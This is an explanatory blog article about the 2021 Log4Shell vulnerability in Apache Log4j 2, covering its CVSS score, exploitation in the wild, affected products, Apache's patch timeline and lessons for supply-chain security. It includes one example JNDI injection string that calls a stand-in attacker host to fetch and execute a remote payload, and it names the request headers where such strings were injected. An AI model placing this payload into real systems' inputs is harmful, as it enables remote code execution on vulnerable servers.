December 2021. A vulnerability in a Java logging library is disclosed on a Friday evening. Within 72 hours, it is being exploited by hundreds of attacker groups worldwide. Log4Shell enters the history books.
The Library in Question: Apache Log4j 2
Log4j 2 is a logging library for Java, developed by the Apache Foundation. Used in millions of applications — Minecraft servers, enterprise applications, cloud services from Amazon, Apple, Twitter, Cloudflare — its footprint is enormous.
The vulnerable feature: message lookup substitution. Log4j 2 allowed expressions to be interpolated in logged messages, including JNDI (Java Naming and Directory Interface) calls.
The Attack Vector
If a Java application logged user input containing the string:
${jndi:ldap://attacker.com/exploit}
Log4j 2 would automatically make an LDAP request to attacker.com, retrieve and execute the returned malicious payload. No authentication required. No user interaction needed.
Anywhere user input could end up in a log — form fields, user-agent, HTTP headers, usernames — the attack surface was present.
CVSS Score 10.0 — The Absolute Maximum
CVSS 3.1: 10.0 (CRITICAL)
Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- AV:N — Exploitable from the internet
- AC:L — No special conditions required
- PR:N — No privileges required
- UI:N — No user interaction required
- S:C — Scope Changed (can compromise other components)
- C:H / I:H / A:H — Full impact on all three pillars
Perfect score of 10.0 — the archetypal catastrophic CVE.
Exploitation in Practice
Within hours of public disclosure, automated scanners searched for vulnerable applications by injecting payloads into:
- The
User-Agentfield of HTTP requests X-Forwarded-For,Refererheaders- Search fields, login forms
- Usernames, email addresses
The first observed payloads included:
- Cryptominer installation (Monero)
- Botnet deployment (Mirai)
- Persistent access for state-sponsored APT groups
- Ransomware (Conti, Khonsari)
Who Was Vulnerable?
Log4j 2 versions 2.0-beta9 through 2.14.1 (all).
The list of affected applications was staggering:
- VMware vCenter — datacenter critical infrastructure
- Cisco — numerous products (Webex, ASA, etc.)
- IBM — WebSphere, Db2
- Minecraft (Java Edition) — massive distribution vector
- ElasticSearch, Kafka, Spark — Big Data stack
- Thousands of SaaS and internal applications
Apache's Response
| Date | Event |
|---|---|
| Dec 9, 2021 | Public disclosure + PoC on Twitter |
| Dec 10, 2021 | Log4j 2.15.0 — incomplete mitigation |
| Dec 13, 2021 | Log4j 2.16.0 — JNDI disabled by default |
| Dec 18, 2021 | Log4j 2.17.0 — fixes CVE-2021-45105 (DoS) |
| Dec 28, 2021 | Log4j 2.17.1 — fixes CVE-2021-44832 (config RCE) |
Four releases in three weeks. The complexity of the fix reflects the depth of the problem.
Lasting Lessons
1. The Software Supply Chain is an Attack Surface
Log4Shell revealed that an organisation's security depends on all of its transitive dependencies — including libraries used by its vendors. The concept of SBOM (Software Bill of Materials) became a regulatory priority post-Log4Shell.
2. Detection is Hard
Exploitation left few traces and could occur through unexpected vectors (WAF access logs, logged chat messages, etc.). Organisations discovered compromises weeks after the initial exploitation.
3. Emergency Patching Has Limits
Faced with such a widespread flaw, even organisations with good patch management processes took weeks to identify and fix all vulnerable instances — particularly in transitive dependencies.
2024-2025: Still in the Top Exploited CVEs
According to CISA, Log4Shell still figures among the most exploited vulnerabilities years after its discovery. Unpatched applications remain exposed in many organisations.
Check whether your assets are affected by critical CVEs on cveo.tech.